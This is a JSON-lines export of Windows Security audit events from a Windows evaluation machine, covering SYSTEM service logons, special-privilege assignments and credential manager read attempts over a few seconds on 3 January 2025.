{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.715090Z"}},"EventRecordID":21224,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.715094Z"}},"EventRecordID":21225,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.773736Z"}},"EventRecordID":21226,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.774177Z"}},"EventRecordID":21227,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.775626Z"}},"EventRecordID":21228,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.775657Z"}},"EventRecordID":21229,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.779529Z"}},"EventRecordID":21230,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.779533Z"}},"EventRecordID":21231,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5382,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.852535Z"}},"EventRecordID":21232,"Correlation":null,"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","SchemaFriendlyName":"NGC Local Accoount Logon Vault Resource Schema","Schema":"1D4350A3-330D-4AF9-B3FF-A927A45998AC","Resource":"NGC Local Accoount Logon Vault Resource","Identity":"0105000000000005150000006DA8856DCAC92779BFB554B4E8030000","PackageSid":"","Flags":0,"ReturnCode":1168,"ProcessCreationTime":"2025-01-03T21:04:32.780187Z","ClientProcessId":2936}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:33.093428Z"}},"EventRecordID":21233,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:33.093773Z"}},"EventRecordID":21234,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:33.096061Z"}},"EventRecordID":21235,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:33.096096Z"}},"EventRecordID":21236,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.309357Z"}},"EventRecordID":21237,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.309394Z"}},"EventRecordID":21238,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(token):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.309639Z"}},"EventRecordID":21239,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"WindowsLive:(cert):name=02mykdeddnabzzqv;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.766375Z"}},"EventRecordID":21240,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.769859Z"}},"EventRecordID":21241,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.771022Z"}},"EventRecordID":21242,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:34.771052Z"}},"EventRecordID":21243,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.054921Z"}},"EventRecordID":21244,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.054926Z"}},"EventRecordID":21245,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.056168Z"}},"EventRecordID":21246,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:35.056171Z"}},"EventRecordID":21247,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
